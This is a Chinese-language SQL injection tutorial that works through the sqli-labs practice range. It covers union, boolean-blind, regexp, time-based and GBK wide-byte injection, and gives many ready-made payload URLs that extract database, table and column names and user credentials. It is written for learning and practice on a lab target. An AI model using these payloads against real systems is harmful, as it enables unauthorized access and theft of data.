SQL注入的常见方式
目录
- 联合查询(union)
- 函数介绍
- order by
- union select
- 操作
- 布尔盲注 (and or)
- 函数介绍
- mid 从中间截取字符
- left 从左开始截取字符
- ord、ascii 转成ascii码
- length 统计长度
- and
- regexp 正则注入-针对MySQL
- 操作
- 1. 猜数据库长度
- 2. 猜数据库名 (配合BurpSuite)
- 3. 猜表的个数
- 4. 猜表
- 5. 猜列
- 6. 猜值
- 延时注入(sleep if)
- 函数
- 操作
- 1. 猜数据库长度
- 2. 猜数据库名
- 3. 猜表名
- 4. 猜测 users 表的列
- 5. 猜值
- 宽字节注入
- 引子
- GBK编码
- 注入
- 参考
联合查询(union)
函数介绍
order by
详细解释参见:https://www.w3school.com.cn/sql/sql_orderby.asp
简单来说就是用来对数据进行排序的,在注入中用于判断表的列数
select * from users ORDER BY id # 按id列递增排序
select * from users ORDER BY 1 # 按第1列递增排序
select * from users ORDER BY id desc # 按id列递减排序
select * from users ORDER BY 1 desc # 按第1列递减排序
union select
详细解释参见:https://www.w3school.com.cn/sql/sql_union.asp
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
用于获取敏感信息
接下来就是注入了。
操作
此处省略,在下一篇文章“MySQL注入”中以2个案例详细介绍了联合查询的注入手法。
布尔盲注 (and or)
函数介绍
mid 从中间截取字符
详细解释参见:https://www.w3school.com.cn/sql/sql_func_mid.asp
MID 函数用于从文本字段中提取字符。
left 从左开始截取字符
left(a,b)
,从左侧截取 a 的前 b 位
left(database(),1)> "s"
# Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
ord、ascii 转成ascii码
ord() 函数同 ascii(),将字符转为 ascii
ascii码对照表:http://ascii.911cha.com
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=1# substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii
length 统计长度
and
使用and,通过显示结果进行布尔判断
regexp 正则注入-针对MySQL
参见:sql 盲注之正则表达式攻击
这里我们使用的是sql-lab靶场,知道数据库名字是security,目的:获取当前数据库的所有表
- 获取当前数据库的第一个表的第一个字符
通过不断缩小范围,查到第1个字符是e(从下图中可以看到,第一个表是emails)
select * from users where id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE table_schema="security" AND table_name REGEXP '^[a-d]' LIMIT 0,1);
- 获取其余字符
只需要更改一下正则就行,之后依次是:‘e[a-z]’、'em[a-z]’、‘ema[a-z]’……'emails’
最后1个符号判断出来之后,其实可以直接把正则去除了,令table_name等于表名即可
这里思考一个问题? table_name 有好几个,我们只得到了一个 emils,如何知道其他的?
这里可能会有人认为使用 limit 0,1
改为 limit 1,1
,但是这种做法是错误的,limit 作用在前面的 select 语句中,而不是regexp
操作
这里拿sql-lab靶场的第5关为例(这关就是盲注,这里使用布尔盲注来注出来)
1. 猜数据库长度
2. 猜数据库名 (配合BurpSuite)
除了使用ord(mid(database(),1,1))<120
的形式,还可以使用left(database(),1)>'a'
的形式
查一下,发现115的ascii值对应的字符是s
,使用同样的方法,测出数据库的全名
方法1:使用**ord(mid(database(),1,1))<120**
的形式
方法2:使用**left(database(),1)>'a'**
的形式
这种手工注入的方式实在是繁琐,可以使用工具,这里暂且按住sqlmap不用,因为主要是得梳理原理,也可以写个python脚本去做测试,但是BurpSuite它不香吗?
逐个爆破字符
- 抓包,长这个样子
- 转到爆破模块中
- 发现ascii是115的时候,有结果,得知数据库名的第一个字符是s
实操
- 截取数据包
使用上次的数据包
- 爆破
对测试结果做一下排序,得到测试答案。
3. 猜表的个数
爆破也行,但是,手工也挺快的,测试发现是4张表
?id=1' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=4--+
4. 猜表
这里拿sql-lab靶场的第5关为例(这关就是盲注,这里使用布尔盲注来注出来)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n# a是从0开始第几个表,b从1开始为第几个字符,n是ASCII所对应的十进制数# ascii函数是求出ascii码最后结果和n比较
# substr配合参数b一次找出表名的每一位
# limit配合a找到每一张表
举个例子,我们知道第一张表是emails,可以使用如下payload:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101--+
接下来的操作,可以使用BurpSuite爆破了,手工注入的话,代码如下:
关键的攻击代码
第一张表(emails)
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='7 --+http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=97 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=105 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=108 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=115 --+第二张表(referers)
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))='8 --+
...第三张表(uagents)
...第四张表(users)
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))='5 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),3,1))=101 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),4,1))=114 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),5,1))=115 --+
5. 猜列
估算列名的字符长度
公式如下;
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit a,1)=b--+
a从0开始,a=0时代表第1列
b代表列名的字符长度第1列的列名长度是2
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+第2列的列名长度是8
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+
使用正则注入的方式猜列名,如下,猜出存在username列,同理,可以猜出password列
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1)--+?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name="username" limit 0,1)--+
6. 猜值
书写格式1:
?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
书写格式2:
把ascii转成字符,即:Dumb
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+
?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
?id=1' and ascii(substr((select username from users limit 0,1),3,1))=109--+
?id=1' and ascii(substr((select username from users limit 0,1),4,1))=98--+
延时注入(sleep if)
延时注入最大的问题并不在于它是延时,而在于,网站还有一段加载时间,导致不好准确判断延时情况。
延时注入可以按照布尔盲注的方式来,只不过需要添加if……sleep而已
如何区分应该使用延时注入,还是布尔盲注呢?
使用布尔盲注:如果输出正确的内容,返回统一的结果;输入错误的内容,返回统一的另一种结果
使用延时注入:输入正确或错误的内容,都返回一种结果
【优先使用布尔盲注,相对更快一点】
什么是延时注入?
如下图,可以看到,直接查询的时候,时间是0秒;延时1秒的时候,大约是1秒之后才有结果
函数
if语句
格式:IF(Condition,A,B)
意义:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
基于if构造延时注入
适用于无回显,通过延时注入盲猜
操作
这里拿sql-lab靶场的第9关为例(这关就是延时注入,无论输入什么,返回的都是同样的页面)
下面的payload都不能用,只得测试延时注入了。
http://192.168.239.132/sqli-labs-master/Less-9/?id=" --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=' --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=") --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=') --+
测试延时注入,发现浏览器大约3秒后返回结果,说明存在延时注入
http://192.168.239.132/sqli-labs-master/Less-9/?id=1' and sleep(3) --+
1. 猜数据库长度
?id=1' and if(length(database())=8,sleep(3), 1) --+
2. 猜数据库名
除了使用下面的形式,还可以使用ord(mid(database(),1,1))<120
的形式,或left(database(),1)>'a'
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ # 获得第1位,是s
?id=1'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ # 获得第2位,是e依次类推,我们知道了数据库名字是 security
3. 猜表名
猜测第一个数据表的第一位是 e,…依次类推,得到 emails
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第二个数据表的第一位是 r,…依次类推,得到 referers
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user
4. 猜测 users 表的列
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
5. 猜值
猜测 username 的第一行的第一位
?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
以此类推,我们得到数据库 username,password 的所有内容
宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs 32 关为例子 ,来介绍宽字节注入。
引子
- 通过替换id值,发现页面有不同的显示内容,可以考虑联合查询
- 尝试报错注入,发现单引号被转义了,
1\'
的ascii值就是315c27
,要解决转义的问题,就需要使用宽字节注入
在回答宽字节注入之前,先来看一下源代码,看看它是怎么玩的。
在28行看到了id,说明川籍哪里的内容会进到这里,30行的id前面有check_addslashes
,发现它被定义在17行,查看函数内容得知,这个函数就行用来做转义替换的。再往下面捋一捋,发现第40行,mysql使用了gbk编码。此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询
GBK编码
GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。转义字符 \
的编码是 5c
,注意到 5C
在GBK 编码的低位范围之内[40,FE]。在 5C
之前添加一个字符[81,FE]
之间,该字符就会和 5c
组成一个汉字。也就是说,所谓的宽字节注入,就是要让转义字符 **\**
失效,方式就是找到1个汉字,它的GBK编码中包含**5c**
。
这样,转义字符 \
就会失效,失去了转义的作用,就可以进行注入了。目前,网上通用的是%df%5c组成的汉字“運”
除了df还有别的吗?当然有,如下:
af可以
bf也可以
可以在GBK 汉字编码方案中找到更多符合条件的汉字
注入
- 验证宽字节注入,成功触发报错
?id=1%df'
- 说明存在sql注入
?id=1%df'--+
- 联合查询
这里有坑,不能使用order by判断列数,因为回显内容一致
?id=1%df' order by 3 --+
解决办法是直接使用union select判断列数
列数错误,报错
列数正确,回显正常
?id=1%df' union select 1,2,3 --+
查出敏感信息,接下来就完完全全是联合查询的内容了,不再赘述。
?id=1%df' and 1=2 union select 1,version(),database() --+
额外补一句,前面提到,宽字节注入的核心就是找到一个GBK编码中存在5c
的汉字,除了网上通用的df
,这里可以换别的试试,如af
?id=1%af' and 1=2 union select 1,version(),database() --+
参考
sqlilabs1-20详细教程
《mysql注入天书》
sql 盲注之正则表达式攻击
SQL注入的常见方式相关推荐
- SQL注入攻击常见方式及测试方法
本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预 ...
- sql注入详解 一文了解sql注入所有常见方法
前言 刷完了sqli-labs 对sql注入有了些许认识 在此做个小结与记录 1.什么是sql注入 sql,Structured Query Language,叫做结构化查询语言,管理数据库时用到的一 ...
- 初学SQL 注入之常见的几种注入类型
SQL注入原理 老生常谈,SQL注入攻击的本质就是把用户输入的参数当做SQL语句来执行,Web应用程序对用户输入数据的合法性没有判断和过滤,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作. ...
- B站小迪安全笔记第十六天-SQL注入之查询方式及报错盲注
前言: 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,同时作为 ...
- 什么是SQL注入攻击?列举抵御SQL注入攻击的方式?
SQL注入攻击,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 抵御sql注入攻击: 1.使用PreparedStatement 2 ...
- SQL注入10之防御绕过
免责声明 该文章仅用于信息防御技术的交流和学习,请勿用于其他用途: 在未得到网站授权前提下,禁止对政府.事业单位.企业或其他单位网站及系统进行渗透测试:技术是把双刃剑,请遵纪守法,做一名合格的白帽子安 ...
- BOSS:你连什么是 SQL 注入都不知道,我怎么给你加薪?
1 什么是 SQL 注入? 所谓 SQL 注入,便是指黑客将 SQL 代码嵌入在输入参数之中,在未经过滤的情况下直接拼接到 SQL 语句之中进行解析并执行的一种攻击方法. 2 一个 SQL 注入的简单 ...
- SQL注入闭合方式及万能密码
由万能公式想到的... 请求方式 GET请求 POST请求 SQL注入闭合方式 数字型 字符型 再看sqli-labs实验 万能密码 请求方式 两种 HTTP 请求方法:GET 和 POST 在客户机 ...
- 常见web攻击(sql注入,xss攻击,csrf攻击)
sql注入攻击 危害 方式:通过表单提交加入特殊字符 如:' OR 1=1#' 防范:用django的ORM,就大可不必考虑这个问题, 如果自己写,要用正则和其他方式进行过滤 xss(Cross ...
- Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解
前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...
最新文章
- 网站推广——seo优化对企业网站推广能力的提升有着不小的帮助
- [WebApp开发]基础教程-Google官方文档-第四篇
- python计数属性类
- 数组元素倒置-Java
- C语言 二维数组做函数参数的几种情况
- RequireJS模块的建立:插件化体验 - demo演示篇
- html 开发资料 英文,HTML 中的框架(国外英文资料).doc
- CCF NOI1080 统计字符
- 国家开放大学-农村社会学-形考作业4
- 实现真正的「人机」对战:引入三方 AI 引擎
- Unity UGUI坐标转换
- UNITY3D MMO开发指南(Lua)
- JRE瘦身 制作小工具
- 去除XP桌面图标的阴影
- Javascript 前端生成Word文档
- 数学不好python好学吗_数学不好的人,是否还应该坚持学编程?
- rails3 新特性 和 RJS评论
- 2022.02.09_Java学习总结_网络编程、正则表达式
- C# 创建MDI窗体
- C4D 21版 安装好一打开就闪退,查了好久